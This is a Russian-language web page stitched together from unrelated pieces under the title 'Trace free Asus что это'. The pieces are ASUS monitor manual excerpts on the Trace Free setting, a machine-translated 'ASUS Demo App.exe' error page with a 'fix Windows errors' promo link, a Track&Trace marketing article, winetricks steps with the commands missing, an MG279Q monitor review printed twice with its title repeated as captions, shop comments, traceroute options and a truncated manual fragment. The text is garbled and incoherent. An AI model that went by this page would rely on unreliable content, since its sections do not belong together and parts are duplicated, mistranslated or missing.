Trace free Asus что это

(синий) могут быть настроены пользователем в диапазоне от 0 до 100.

В этом меню вы можете настроить pезкость, функцию Trace Free,

Формат экрана, Vividpixel, функцию ASCR, Положение (только

для VGA) и Фoкуcиpoвкa (только для VGA).

• Резкость: Настройка резкости изображения. Диапазон значений от

• Trace Free: снижение времени отклика экрана с помощью

технологии Over Drive. Диапазон значений от самого низкого 0 до

самого высокого 100.

• Формат экрана: Выбор формата изображения «Полный экран«,

• Vividpixel: Это эксклюзивная технология ASUS, позволяющая

добиться реалистичного изображения, радующего своей

кристальной чистотой и точностью воспроизведения деталей.

Диапазон настройки — от 0 до 100.

• ASCR: Кнопками ВКЛ. или ВЫКЛ. включите или отключите функцию

динамической регулировки контрастности.

• Положение: Отрегулируйте положение изображения по горизонтали

Пoлoж. Пo Гopизoн.) и вертикали (Пoлoж. Пo Вepтик.). Диапазон

значений от 0 до 100 (только для входа VGA).

• Фoкуcиpoвкa: Снижение уровня помех в виде горизонтальных и

вертикальных полос в изображении отдельно настроив параметры

Точная настройка) и (Частота). Диапазон значений от 0 до 100

Загрузите или переустановите ASUS Demo App.exe

это не рекомендуется загружать заменяемые exe-файлы с любых сайтов загрузки, поскольку они сами могут содержать вирусы и т. д. Если вам нужно скачать или переустановить ASUS Demo App.exe, мы рекомендуем переустановить основное приложение, связанное с ним. ASUS демонстрационное приложение.

Информация об операционной системе

Ошибки ASUS Demo App.exe могут появляться в любых из нижеперечисленных операционных систем Microsoft Windows:

  • Окна 10
  • Окна 8.1
  • Окна 7
  • Windows Vista
  • Windows XP
  • Windows ME
  • Окна 2000

РЕКОМЕНДУЕМЫЕ: Нажмите здесь, чтобы устранить ошибки Windows и оптимизировать производительность системы

Track&Trace здорового человека и Track&Trace курильщика

Хорошая Track&Trace система должна быть незаметной. Хотя бы потому, что корректные сериализация и агрегация не только не нарушают технологию и не задерживают производственные мощности, но и не меняют бизнес-процессы в целом.

Равиль Гимадиев, генеральный директор Original Group, преподаватель Track&Trace demo-центра на базе Сеченовского университета

Еще год назад на рынке не было по-настоящему зрелых информационных систем, прошедших боевое крещение на реальном производстве. А сегодня многие участники фармсообщества разделяют простую и очень мощную идею Track&Trace, которую давно и успешно продвигает команда Original Group:

«Информационная система предприятия должна отражать не структуру ее формальной отчетности, а структуру ее бизнеса – от производства до распространения и сервиса».

Маркировка – лишь составная часть Track&Trace, так же, как и Track&Trace – составная часть информационной экосистемы предприятия, в которую входит:

  • Система управления производственными процессами (manufacturing execution system, MES), т.е. специализированное прикладное программное обеспечение, предназначенное для решения задач синхронизации, координации, анализа и оптимизации выпуска продукции в рамках производства;
  • Система планирования ресурсов предприятия (enterprise resource planning, ERP);
  • Система управления складом (warehouse management system, WMS);
  • Система управления взаимоотношениями с клиентами (customer relationships management, CRM);
  • Система электронного обмена данными (electronic data interchange, EDI);

и другие системы предприятия, которые находятся на нижних четырех уровнях ИС (L1–L4) по классификации ANSI/ISA-95 и обеспечивают информационное взаимодействие и интеграцию в рамках предприятия.

Чем грозит маргинализация Track&Trace?

В профессиональном сообществе бытует мнение, что «порядок есть порядок» и сделать Track&Trace эргономичной, а тем более – достичь нужных бизнесу показателей – невозможно. Эксперты Original Group с этим категорически не согласны. К сожалению, маргинализация Track&Trace привела к декларированию огромного количества ограничений, 100% из которых рождены лишь незрелостью конкретно взятых вендеров и решений.

Известно, что в табачной промышленности реализованы проекты по маркировке 1 тыс. пачек в минуту. И для фармацевтического рынка уже сейчас есть решения, закрывающие любые требования производства.

В кулуарных беседах представители фармы все чаще жалуются на нездоровые ситуации, возникающие в ходе тестирования оборудования потенциального поставщика. О чем в основном идет речь?

  • Картонажная машина производителя работает на скорости 250 пачек, а предложенная потенциальным поставщиком Track&Trace система агрегации ограничена производительностью 60 пачек;
  • Операторы в цеху могут упаковывать один слой за 20 сек, а новая система требует нескольких минут или нескольких подходов для агрегации одного слоя.

Такие примеры уже исчисляются десятками. В момент реальной угрозы перехода на вторичные упаковки меньшего размера или ограничения объемов выпуска из-за мнимого «дефицита скоростей», особенно остро чувствуется важность глобального Demo-тестирования.

Принципиально не просто напечатать «магический квадратик», а убедится, что система работает на всех этапах бизнес-процесса. Демо-стенды с интеграцией с ERP и WMS системами на данном этапе есть лишь у нескольких игроков рынка, один из них – Original Group.

Как заглушить маркетинговый шум вокруг Track&Trace?

На рынке Track&Trace сложилась странная ситуация: сразу несколько серьезных игроков продают решения, ничем не отличающиеся друг от друга. Здесь и вступает в свои права маркетинг, цель которого найти аргументы в пользу того или иного решения.

Маркетинговый шум часто мешает принять решение о выборе поставщика. При этом не будет преувеличением сказать, что оборудование для сериализации, агрегации и учета складских операций сейчас можно брать практически любое.

Первый популярный маркетинговый миф посвящен «уникальной системе печати»

По факту все системы печати плюс-минус одинаковы. Единственное, что имеет значение, чтобы внутри была HP-начинка. Да, бренд HP – достаточно дорогой, но он же и самый открытый с точки зрения предоставления API игрок – это касается и оборудования, и огромного ассортимента чернил. Это, как минимум, снижает риски зависимости от одного поставщика и исключает возможность драматического повышения цен.

Второй миф касается агрегации

Неоднократно встречается аргумент об «уникальных смарт камерах». И тут тоже все намного проще, чем кажется.

Достаточно на практике проверить несколько критичных пунктов:

  • Кейс-пакер функционирует четко и без задержек как при максимально необходимом количестве вторичных упаковок, так и при том количестве упаковок, которое может потребоваться в будущем.
  • На самую мелкую пачку легко можно нанести самый мелкий код, который теоретически может быть нужен, при этом система агрегации обеспечивает стабильную работу на полной скорости.

Часто на фейковых тестах 20 вторичных упаковок все работает отлично. Но это не значит, что при старте работ в обычном режиме кейс-пакер воспримет необходимые 60 пачек. В таком случае, чтобы распознать 250 пачек, в линию вводится задержка на тот период, пока камера считает эти коды.

Здесь очередная маркетинговая профанация – речь о том, что производитель обеспечил такой «уровень интеграции», что наш кейс-пакер ждет, пока не будут расшифрованы все коды. На самом деле во всех кейс-пакерах есть возможность завести событие с условным названием «подожди, пока не распознаю». Но фактически речь идет не о wow-технологиях, а о снижении производительности цеха. Нормально построенная Track&Trace система не требует таких жертв.

То же самое условие Demo-теста касается столов агрегации. Регуляторы предполагали печать кода с криптохвостом 88 символов. Поэтому важно еще до покупки протестировать систему в критичных ситуациях. Камера должна считывать всю область, не задерживая бизнес-процесс и не выдавая ошибок. Если максимальный короб, который может потребоваться 60х60х40 см., стоит проверить агрегационный стол в режиме агрегации пяти слоев маленьких вторичных упаковок 15х15 мм с нанесенными 88 символами в этот короб. Если слои распознаются адекватно, процент ошибок меньше 1%, это значит, что потенциальные потери времени на реагрегацию будут минимальны. Если у разработчика нет принципа «vender lock», смело можно брать это решение.

Зачем углубляться в конструктив Track&Trace?

Что действительно критично для качества печати – это конструктив Track&Trace оборудования. Именно на уровне грамотного мощного конструктива в Original Group решаются, казалось бы, «незначительные», но критичные задачи, как:

  • Обеспечение очередности подачи вторичной упаковки;
  • Выравнивание вторичных упаковок, попавших на конвейер в перевернутом виде;
  • Нивелирование вибраций вторичной упаковки и непрерывность ее движения;
  • Автоматическое дозакрытие клапана вторичной упаковки;
  • Высокоточное позиционирование и плотность прижима упаковки для нанесения КИЗ с криптохвостом при интенсивных темпах производства;
  • Сохранение параметров по мере износа конвейерной ленты и т. д.

Какие бонусы дает Track&Trace?

Какую же ценность добавляет к сериализации и агрегации софт Track&Trace? Он объединяет все уровни информационной инфраструктуры предприятия, дает возможность для их взаимодействия, «дирижирования» (или, как говорят в Original Group, оркестрирования) ими – включая информационные системы предприятий в целом.

Последнее утверждение особенно важно. Оно означает, что информационный обмен между предприятиями тоже можно оркестрировать. И уровень ЦРПТ, через который идет отчетность в системе «Честный ЗНАК» воплощает лишь малую часть потенциала информационного обмена через верхний, пятый уровень – L5.

Система, работающая на уровне L5, позволит участникам цепи товародвижения обмениваться любой информацией. Например, если производственная линейка предприятия построена таким образом, что изделия в процессе изготовления переходят от одного подрядчика к другому, то перемещение изделия между MES-системами будет отслеживаться именно через уровень L5.

Визионеры рынка предсказывают скорый переход к Индустрии 4.0 с глубокими и даже революционными изменениями в промышленной сфере. Мир должен прийти к «концу продукта» и появлению новой экономики, в которой важны будут не сами промышленные товары, а качество обслуживания, пользовательский опыт и работа индустриальных экосистем, в которых будут работать предприятия, выходя за жесткие границы собственного бизнеса. Цифровизация всей цепочки создания ценности принесет бизнесу и обществу в целом огромные выгоды. Жизненной основой промышленности XXI века станут данные, но эти данные нужно будет извлекать из существующих ИТ-систем, интегрируя их между собой.

Для этого перехода нужен цифровой «дирижер» заводских цехов, материальных продуктов, рабочей силы, менеджеров предприятий и предприятий в целом. Этот дирижер-оркестратор – Track&Trace.

3. Установка дополнительных компонентов с помощью winetricks

Winetricks — это скрипт для быстрой загрузки и установки распространённых исполняемых библиотек, иногда необходимых для запуска программ в Wine.

Получить его проще всего командой:

Затем следует сделать скрипт исполняемым:

В некоторых дистрибутивах Linux (Suse, ALT Linux) пакет winetricks уже включен в состав Wine, в других его можно установить отдельно через пакетный менеджер. Например, в Ubuntu воспользуйтесь Synaptic или введите в командной строке:

В случае, если winetricks был установлен из репозиториев дистрибутива, нужно выполнить команду winetricks в консоли, если загружен отдельно, то sh ./winetricks из того каталога, куда он был загружен. Когда winetricks запущен без дополнительных параметров, открывается графический интерфейс со списком доступных пакетов. В нашем случае необходимо выбрать gdiplus, ole2, vb6run, vcrun6, allfonts, winxp и нажать ОК.

Также можно установить пакеты, указав их имена в качестве параметров для команды winetricks, и программа немедленно начнёт их установку.

В процессе установки иногда могут появляться стандартные Windows-установщики.

Обзор монитора ASUS MG279Q: ни единого разрыва

Вместе с развитием индустрии компьютерных игр разработки периферийных устройств тоже получили немалый толчок. К мышкам, клавиатурам и дополнительным аксессуарам присоединились мониторы для игр, которые в последнее время все больше радуют большими диагоналями, высоким разрешением и хорошим качеством изображения. К тому же, появилась приятная тенденция использования IPS-матриц вместо более традиционных в игровом сегменте TN-нок. А модель от ASUS, которая не попала в игровую линейку ROG, отличается высоким разрешением, IPS-экраном и частотой обновления 144 Гц вместе с поддержкой технологии FreeSync от AMD, которая избавит от назойливых разрывов.

Дизайн и эргономика

Внешне MG279Q напоминает игровую модель ROG Swift PG278Q, особенно в оформлении и форме подставки.

Монитор выполнен из черного матового пластика с шероховатой фактурой с глянцевыми бороздками на динамичном основании.

Лицевую панель украшает зеркальный логотип ASUS. Рамка вокруг экрана достаточно тонкая для конфигурации из нескольких мониторов.

Справа внизу находится индикатор работы, а на правой стороне – пиктограммы кнопок управления.

Тыльная панель отличается более традиционным и сдержанным дизайном как у офисных и профессиональных моделей ASUS.

По окружности прямоугольного выступа расположены решетки системы охлаждения. За верхней можно заметить пару динамиков мощностью 2 Вт.

Слева находятся кнопки управления, решение достаточно эргономичное. Благодаря трапециевидной форме и чередованию выпуклых и вогнутых кнопок, а также наличию удобного 5-позиционного джойстика, настройка не составит труда, поворачивать монитор для нажатия клавиши не придется.

Все доступные разъемы спрятаны в нижней нише и направлены вниз.

Экран установлен на широкое основание, которое обеспечивает устойчивость и минимум шатания, а также массивную ножку.

Подставка позволяет изменять высоту в пределах 150 мм, угол наклона дисплея от -5 ° до 20 °, поворачивать на 60 ° влево и вправо, а также поворачивать весь блок на 90 ° в портретное положение. Отмечу, что все работает как часы, для изменения высоты и угла наклона не приходится прикладывать много усилий, при этом фиксация отличная.

Конечно же, вставка для организации кабелей присутствует.

Подключение

Монитор поставляется в полусобранном виде. Для работы нужно всего лишь прикрутить подставку и подключить устройство к видеовыходу компьютера. Ну и, конечно же, настроить эргономику под себя.

При необходимости, подставка легко снимается, открывая доступ к креплению VESA 100 x 100.

Производитель не скупился на интерфейсы. Здесь имеется два HDMI с поддержкой MHL, два Display Port, один полноразмерный, второй mini, выход на наушники, а также USB-концентратор одним принимающим портом USB 3.0 тип B и двумя передающими USB 3.0.

В комплект поставки входит силовой кабель, руководство пользователя и диск с ПО, коннектор HDMI и еще один кабель DisplayPort – mini Display Port. Так что можно сразу же приступить к работе.

Дисплей, особенность технологии FreeSync

Если V-Sync – это софтверное решение, которое заключается в ожидании видеокарты готовности монитора отобразить следующий кадр (сопровождается задержкой и снижением fps), то FreeSync от AMD, на равне с G-Sync от NVIDIA, уже на аппаратном уровне обеспечивает взаимодействие видеокарты и монитора. В данном случае, именно монитор подстраивается под видеокарту, регулируя частоту обновления экрана под видеокарту для избавления от разрывов изображения и задержки вывода.

Отличия между технологиями AMD и NVIDIA не огромные, но довольно существенные. Так, G-Sync представляет собой модуль, себестоимость которого составляет порядка 200 $, поэтому мониторы с этой железкой неизменно дороже. К тому же, пока что он способен работать только с интерфейсом DisplayPort. C другой стороны, имеется встроенный режим уменьшения размытости движения.

FreeSync фактически ничего не стоит производителю монитора, ведь основывается на спецификации DisplayPort Adaptive-Sync, которая уже внедрена. Она не требует дополнительных компонентов и лицензирования, поэтому и цена буквально нулевая. Несмотря на то, что FreeSync работает только с DisplayPort, производитель может дополнительно устанавливать другие интерфейсы, как в случае с этим монитором, для подключения разных устройств. Тем не менее, нет встроенной поддержки режима уменьшения размытия, да и технологию поддерживает всего несколько видеокарт AMD. Но это не значит, что такие мониторы не будут работать с картами NVIDIA, просто функция FreeSync будет недоступна.

Вернемся к монитору. MG279Q получил 27-дюймовую матрицу AHVA (типа IPS) производства AU Optronics с разрешением 2560 x 1440 пикселей и поддержкой 16, 78 млн. оттенков с глубиной цвета 8 бит. Экран обеспечивает стабильный уровень контрастности даже выше заявленного значения 1000:1 вне зависимости от яркости экрана и максимальный уровень яркости в пределах 350 кд/м².

Ко всему прочему, дисплей отличается 100% покрытием цветового пространства sRGB.

Антибликовое покрытие отлично справляется со своими задачами, при этом картинка не размытая и весьма четкая. Углы обзора максимальные без заметной инверсии цвета и затемненных участков.

Присутствуют технологии редукции мерцания и синего цвета. Вторая настраивается через специальный пункт экранного меню.

Заявленное время отклика составляет 4 мс. В настройках присутствует пункт Trace Free, который отвечает за избавление от остаточного изображения, что особенно актуально в играх.

Монитор поддерживает частоту экрана вплоть до 144 Гц. Отмечу, что даже без включения FreeSync, высокая частота дает о себе знать – картинка более плавная и гладкая, разрывов изображения нет в принципе – даже не все топовые видеокарты вытянут разрешение 2560 x 1440 пикселей, максимальные настройки графики в современных играх с fps выше 90.

Что касается FreeSync, то этот монитор работает с функцией только на частоте обновления от 35 до 90 Гц. Скажу сразу, технология вообще не влияет на производительность системы. С включенной функцией и совместимой видеокартой я получил гладкую картинку вообще без разрывов. При том, что все графические настройки были специально занижены для получения максимально возможного fps – FreeSync делает свое дело.

Управление и меню

Для управления и настройки используется четыре кнопки и 5-позиционный джойстик.

Три из них отвечают за быстрый выбор функций. Нижняя, с пометкой G – за режимы отображения, средняя с пиктограммой джойстика – за режимы GamePlus, которые включают экранный прицел и таймер.

Верхняя кнопка отвечает за выбор источника сигнала.

Вход в основное меню происходит при нажатии на джойстик.

OSD состоит из 7 пунктов.

Первый отвечает за все те же режимы отображения, оптимизированные под разные игровые жанры и sRGB.

Второй включает 5 режимов защиты от синего света Blue Light Filter для различных задач – веб-серфига, просмотра видео, чтения и работы в темной комнате.

Следующий пункт меню отвечает настройки яркости, контрастности, насыщенности, цветовой температуры и «тона кожи».

В секции Image находятся настройки резкости, Trace Free для избавления от остаточных изображений, соотношения сторон, VividPixel, динамической контрастности ASCR и технологии FreeSync.

Следующий пункт отвечает за выбор источника сигнала.

Ну а название секции System Setup говорит само за себя. Здесь можно включить демо-режим сравнения выбранного режима отображения, изменить громкость встроенной акустики, включить GamePlus, режим экономии энергии, выбрать язык и настроить экранное меню, включить питание на USB-портах и другие функции.

Ну а последний пункт предлагает сохранить 4 набора настроек монитора для быстрого переключения между ними.

Впечатления

ASUS MG279Q – один из лучших представителей IPS-мониторов для игр. Высокое качество отображения, естественная цветопередача и покрытие цветового поля sRGB вместе с хорошим временем отклика и поддержкой частоты обновления экрана 144 Гц делают его одним из немногих решений, которое отлично подходит для игры и работы. Присутствие функции AMD FreeSync обеспечивает плавное отображение и отсутствие разрывов изображения. А учитывая, что по сравнению с G-Sync, технология ничего не стоит в принципе, игровые решения на ее базе более доступны, так что у производителей есть возможность установки более качественных матриц с высокими углами обзора, низким лагом и временем отклика.

ОСОБЕННОСТИ:

• Высокое качество изображения •

• Разрешение 2560 x 1440 пикселей •

• IPS (AHVA) матрица •

• Частота обновления 144 Гц •

• Множество портов для подключения •

• 100 % охват пространства sRGB •

СПЕЦИФИКАЦИИ:

  • Модель ASUS MG279Q
  • Вес 7,3 кг (с подставкой)
  • Размеры 62,5 x 55,9 x 23,8 см (с подставкой), 62,5 x 36,8 x 6,3 см (без подставки)
  • Дисплей 27″, IPS (AH-VA), антибликовое покрытие
  • Соотношение сторон 16:9
  • Разрешение 2560 x 1440 пикселей
  • Тип подсветки LED
  • Яркость 350 кд/м²
  • Глубина цвета 16,78 млн. цветов
  • Контрастность 1000:1
  • Динамическая контрастность ASUS Smart Contrast Ratio 100000000:1
  • Углы обзора 178 °/ 178 °
  • Время отклика 4 мс
  • Интерфейсы DisplayPort 1.2, mini DisplayPort 1.2, 2 x HDMI (MHL), USB 3.0 Hub (1 передающий, 2 принимающих), выход на наушники
  • Встроенный динамики 2 х 2 Вт
  • Технология AMD FreeSync
  • Дополнительно подставка с регулировкой высоты, углов наклона и поворота в горизонтальной плоскости, кабель менеджмент, VESA 100 x 100

Есть что рассказать о товаре?

Интересует дополнительная информация?

  • Продавец: Rozetka

При 1920×1080 максимально 76 Гц ?

Дмитрий Батищев, 75Гц. Подробнее link

  • Продавец: Rozetka

Интересует какую частоту поддерживает монитор, если есть Display Port ?

  • Продавец: Rozetka

Это 120 герцовый монитор или 60?

  • Продавец: Rozetka

Брал в качестве третьего монитора для рабочего стола. Все путем, рабочий стол из 3 моников заработал сразу.
Цвета нормальные, никаких сравнений и тестов не проводил, просто графики на нем смотреть без проблем.

  • Продавец: Rozetka

Хочу также добавить:
Нашел 1 битый суб-пиксель (красный и синий не светит), а зеленый горит. Хорошо хоть он снизу экрана, и виден только на красном или синем. Особо в глаза не бросается, так как большой монитор, и на картинке сразу не увидешь!
Также нашел в настройках функцию «Trace Free», если ее выставить на 100, то появляются так званые артефакты (в играх когда двигаешься виден шлейф от лежачего оружия). Почитал на форумах, выставил себе его на значение 40! (Артефактов вроде не наблюдается). Не знаю кто придумал такую глупую функцию, если это так званое 1 мс отклика, так оно в жертву картинке и не надо! Да и еще, если пользоваться всеми профилями кроме стандартного, то при просмотре фильмов в качестве hd -1080(и в других тоже, я специально тестировал), появляются какие-то шумы на картинке! Они убираются путем понижения яркости и контрастности — проверено мною. Так что самый нормальный профайл это стандартный.

Спасибо. Отзыв полезный. Особенно про выбор оптимального значения Trace Free

  • Продавец: Rozetka

Не монитор а бомба! Занял пол стола 🙂
Купил без доставки на дом, так как думал что непосредственно в магазине его можно будет проверить, в первую очередь на битые пиксели! К моему разочарованию его только проверили на то что он включается выключается! До этого покупал монитор
samsung (который уже морально устарел) в другом магазине (лет 5 назад), его проверили при мне специальной прогой на битые
пиксели. Было очень приятно то, что забираешь товар без опаски с ним ехать обратно! Лучше бы взял с доставкой на дом
(намучился только в метро), так как сейчас в метро только с коробками ездить. 🙂
Ну да ладно, все обошлось, монитором доволен, битых пикселей не обнаружил! Картинка смотрится превосходно, особенно после старого монитора на 21 дюйм, да еще и квадратного. Видео в меленьких расширениях смотреть не очень комфортно, на малых диагоналях еще можно было терпеть. А тут желательно смотреть все в hd качестве! Да, и было очень приятно узнать что в мониторе встроенные динамики! Я упустил это из виду когда выбирал. Пробовал в играх, это мега круто, особенно в cs 1.6, очень удобно читать переговоры между игроками, на маленьких экранах из-за обновления (покращення) шрифта можно было только читать под лупой! Да, и не совсем удобно прицеливаться в играх, так как не привык еще к такой большой картинке.

Обзор монитора ASUS MG279Q: ни единого разрыва

Обзор монитора ASUS MG279Q: ни единого разрыва

Вместе с развитием индустрии компьютерных игр разработки периферийных устройств тоже получили немалый толчок. К мышкам, клавиатурам и дополнительным аксессуарам присоединились мониторы для игр, которые в последнее время все больше радуют большими диагоналями, высоким разрешением и хорошим качеством изображения. К тому же, появилась приятная тенденция использования IPS-матриц вместо более традиционных в игровом сегменте TN-нок. А модель от ASUS, которая не попала в игровую линейку ROG, отличается высоким разрешением, IPS-экраном и частотой обновления 144 Гц вместе с поддержкой технологии FreeSync от AMD, которая избавит от назойливых разрывов.

Дизайн и эргономика

Внешне MG279Q напоминает игровую модель ROG Swift PG278Q, особенно в оформлении и форме подставки.

Обзор монитора ASUS MG279Q: ни единого разрыва

Монитор выполнен из черного матового пластика с шероховатой фактурой с глянцевыми бороздками на динамичном основании.

Обзор монитора ASUS MG279Q: ни единого разрыва

Лицевую панель украшает зеркальный логотип ASUS. Рамка вокруг экрана достаточно тонкая для конфигурации из нескольких мониторов.

Обзор монитора ASUS MG279Q: ни единого разрыва

Справа внизу находится индикатор работы, а на правой стороне – пиктограммы кнопок управления.

Обзор монитора ASUS MG279Q: ни единого разрыва

Тыльная панель отличается более традиционным и сдержанным дизайном как у офисных и профессиональных моделей ASUS.

Обзор монитора ASUS MG279Q: ни единого разрыва

По окружности прямоугольного выступа расположены решетки системы охлаждения. За верхней можно заметить пару динамиков мощностью 2 Вт.

Читайте также:  Самые полезные программы для ПК

Обзор монитора ASUS MG279Q: ни единого разрыва

Слева находятся кнопки управления, решение достаточно эргономичное. Благодаря трапециевидной форме и чередованию выпуклых и вогнутых кнопок, а также наличию удобного 5-позиционного джойстика, настройка не составит труда, поворачивать монитор для нажатия клавиши не придется.

Обзор монитора ASUS MG279Q: ни единого разрыва

Все доступные разъемы спрятаны в нижней нише и направлены вниз.

Обзор монитора ASUS MG279Q: ни единого разрыва

Экран установлен на широкое основание, которое обеспечивает устойчивость и минимум шатания, а также массивную ножку.

Обзор монитора ASUS MG279Q: ни единого разрыва

Подставка позволяет изменять высоту в пределах 150 мм, угол наклона дисплея от -5 ° до 20 °, поворачивать на 60 ° влево и вправо, а также поворачивать весь блок на 90 ° в портретное положение. Отмечу, что все работает как часы, для изменения высоты и угла наклона не приходится прикладывать много усилий, при этом фиксация отличная.

Обзор монитора ASUS MG279Q: ни единого разрыва

Конечно же, вставка для организации кабелей присутствует.

Обзор монитора ASUS MG279Q: ни единого разрыва

Подключение

Монитор поставляется в полусобранном виде. Для работы нужно всего лишь прикрутить подставку и подключить устройство к видеовыходу компьютера. Ну и, конечно же, настроить эргономику под себя.

Обзор монитора ASUS MG279Q: ни единого разрыва

Обзор монитора ASUS MG279Q: ни единого разрыва

При необходимости, подставка легко снимается, открывая доступ к креплению VESA 100 x 100.

Обзор монитора ASUS MG279Q: ни единого разрыва

Производитель не скупился на интерфейсы. Здесь имеется два HDMI с поддержкой MHL, два Display Port, один полноразмерный, второй mini, выход на наушники, а также USB-концентратор одним принимающим портом USB 3.0 тип B и двумя передающими USB 3.0.

Обзор монитора ASUS MG279Q: ни единого разрыва

В комплект поставки входит силовой кабель, руководство пользователя и диск с ПО, коннектор HDMI и еще один кабель DisplayPort – mini Display Port. Так что можно сразу же приступить к работе.

Дисплей, особенность технологии FreeSync

Если V-Sync – это софтверное решение, которое заключается в ожидании видеокарты готовности монитора отобразить следующий кадр (сопровождается задержкой и снижением fps), то FreeSync от AMD, на равне с G-Sync от NVIDIA, уже на аппаратном уровне обеспечивает взаимодействие видеокарты и монитора. В данном случае, именно монитор подстраивается под видеокарту, регулируя частоту обновления экрана под видеокарту для избавления от разрывов изображения и задержки вывода.

Отличия между технологиями AMD и NVIDIA не огромные, но довольно существенные. Так, G-Sync представляет собой модуль, себестоимость которого составляет порядка 200 $, поэтому мониторы с этой железкой неизменно дороже. К тому же, пока что он способен работать только с интерфейсом DisplayPort. C другой стороны, имеется встроенный режим уменьшения размытости движения.

Обзор монитора ASUS MG279Q: ни единого разрыва

FreeSync фактически ничего не стоит производителю монитора, ведь основывается на спецификации DisplayPort Adaptive-Sync, которая уже внедрена. Она не требует дополнительных компонентов и лицензирования, поэтому и цена буквально нулевая. Несмотря на то, что FreeSync работает только с DisplayPort, производитель может дополнительно устанавливать другие интерфейсы, как в случае с этим монитором, для подключения разных устройств. Тем не менее, нет встроенной поддержки режима уменьшения размытия, да и технологию поддерживает всего несколько видеокарт AMD. Но это не значит, что такие мониторы не будут работать с картами NVIDIA, просто функция FreeSync будет недоступна.

Обзор монитора ASUS MG279Q: ни единого разрыва

Вернемся к монитору. MG279Q получил 27-дюймовую матрицу AHVA (типа IPS) производства AU Optronics с разрешением 2560 x 1440 пикселей и поддержкой 16, 78 млн. оттенков с глубиной цвета 8 бит. Экран обеспечивает стабильный уровень контрастности даже выше заявленного значения 1000:1 вне зависимости от яркости экрана и максимальный уровень яркости в пределах 350 кд/м².

Обзор монитора ASUS MG279Q: ни единого разрыва

Ко всему прочему, дисплей отличается 100% покрытием цветового пространства sRGB.

Антибликовое покрытие отлично справляется со своими задачами, при этом картинка не размытая и весьма четкая. Углы обзора максимальные без заметной инверсии цвета и затемненных участков.

Обзор монитора ASUS MG279Q: ни единого разрыва

Обзор монитора ASUS MG279Q: ни единого разрыва Обзор монитора ASUS MG279Q: ни единого разрыва

Присутствуют технологии редукции мерцания и синего цвета. Вторая настраивается через специальный пункт экранного меню.

Заявленное время отклика составляет 4 мс. В настройках присутствует пункт Trace Free, который отвечает за избавление от остаточного изображения, что особенно актуально в играх.

Обзор монитора ASUS MG279Q: ни единого разрыва

Монитор поддерживает частоту экрана вплоть до 144 Гц. Отмечу, что даже без включения FreeSync, высокая частота дает о себе знать – картинка более плавная и гладкая, разрывов изображения нет в принципе – даже не все топовые видеокарты вытянут разрешение 2560 x 1440 пикселей, максимальные настройки графики в современных играх с fps выше 90.

Обзор монитора ASUS MG279Q: ни единого разрыва

Что касается FreeSync, то этот монитор работает с функцией только на частоте обновления от 35 до 90 Гц. Скажу сразу, технология вообще не влияет на производительность системы. С включенной функцией и совместимой видеокартой я получил гладкую картинку вообще без разрывов. При том, что все графические настройки были специально занижены для получения максимально возможного fps – FreeSync делает свое дело.

Управление и меню

Для управления и настройки используется четыре кнопки и 5-позиционный джойстик.

Три из них отвечают за быстрый выбор функций. Нижняя, с пометкой G – за режимы отображения, средняя с пиктограммой джойстика – за режимы GamePlus, которые включают экранный прицел и таймер.

Обзор монитора ASUS MG279Q: ни единого разрыва Обзор монитора ASUS MG279Q: ни единого разрыва

Верхняя кнопка отвечает за выбор источника сигнала.

Обзор монитора ASUS MG279Q: ни единого разрыва

Вход в основное меню происходит при нажатии на джойстик.

OSD состоит из 7 пунктов.

Первый отвечает за все те же режимы отображения, оптимизированные под разные игровые жанры и sRGB.

Обзор монитора ASUS MG279Q: ни единого разрыва

Второй включает 5 режимов защиты от синего света Blue Light Filter для различных задач – веб-серфига, просмотра видео, чтения и работы в темной комнате.

Обзор монитора ASUS MG279Q: ни единого разрыва

Следующий пункт меню отвечает настройки яркости, контрастности, насыщенности, цветовой температуры и «тона кожи».

Обзор монитора ASUS MG279Q: ни единого разрыва

В секции Image находятся настройки резкости, Trace Free для избавления от остаточных изображений, соотношения сторон, VividPixel, динамической контрастности ASCR и технологии FreeSync.

Обзор монитора ASUS MG279Q: ни единого разрыва

Следующий пункт отвечает за выбор источника сигнала.

Обзор монитора ASUS MG279Q: ни единого разрыва

Ну а название секции System Setup говорит само за себя. Здесь можно включить демо-режим сравнения выбранного режима отображения, изменить громкость встроенной акустики, включить GamePlus, режим экономии энергии, выбрать язык и настроить экранное меню, включить питание на USB-портах и другие функции.

Обзор монитора ASUS MG279Q: ни единого разрыва

Ну а последний пункт предлагает сохранить 4 набора настроек монитора для быстрого переключения между ними.

Обзор монитора ASUS MG279Q: ни единого разрыва

Впечатления

Обзор монитора ASUS MG279Q: ни единого разрыва

ASUS MG279Q – один из лучших представителей IPS-мониторов для игр. Высокое качество отображения, естественная цветопередача и покрытие цветового поля sRGB вместе с хорошим временем отклика и поддержкой частоты обновления экрана 144 Гц делают его одним из немногих решений, которое отлично подходит для игры и работы. Присутствие функции AMD FreeSync обеспечивает плавное отображение и отсутствие разрывов изображения. А учитывая, что по сравнению с G-Sync, технология ничего не стоит в принципе, игровые решения на ее базе более доступны, так что у производителей есть возможность установки более качественных матриц с высокими углами обзора, низким лагом и временем отклика.

Утилита Traceroute

Перед тем как перейти к примерам работы с утилитой давайте рассмотрим ее синтаксис и основные опции. Синтаксис вызова очень прост:

$ traceroute опции адрес_узла

В качестве адреса может использоваться ip адрес или доменное имя. Рассмотрим основные опции:

  • -4 или -6 — использовать ipv4 или ipv6 протокол;
  • -I — использовать ICMP пакеты вместо UDP;
  • -T — использовать TCP пакеты вместо UDP;
  • -F — не фрагментировать пакеты;
  • -f — указать TTL с которого нужно начать;
  • -g — передавать пакет через указанный шлюз;
  • -i — передавать пакет через указанный интерфейс;
  • -m — максимальное количество узлов, через которые пройдет пакет;
  • -q — количество пакетов, отправляемых за раз, по умолчанию три;
  • -n — не узнавать доменные имена;
  • -p — указать порт вместо порта по умолчанию;
  • -w — установить время ожидания ответа от узла, по умолчанию полсекунды;
  • -r — использовать другой роутер вместо того, что указанный в таблице маршрутизации;
  • -z — минимальный интервал между пакетами;
  • -U — использовать UDP с увеличением номера порта;
  • -UL — использовать протокол UDPLITE;
  • -D — использовать протокол DCCP;
  • —mtu — указать размер пакета;
  • -P — протокол, доступны такие значения: raw, dccp, udplite, udp, tcpconn, tcp, icmp.

Это не все опции утилиты, но все основные, которыми вы будете пользоваться. Дальше перейдем практике того, как выполняется трассировка сети Linux.

ЖК-монитор модели ASUS PA238Q

Меню настройки параметров изображения.

Резкость: Настройка резкости изображения. Диапазон

значений от 0 до 100.

Trace.Free: Уменьшение времени отклика. Диапазон

значений от 0 до 100.

Формат.экрана: Выбор формата изображения “Полный.

используется только с видеоформатами 4:3 или 5:4

источника сигнала. Режим “

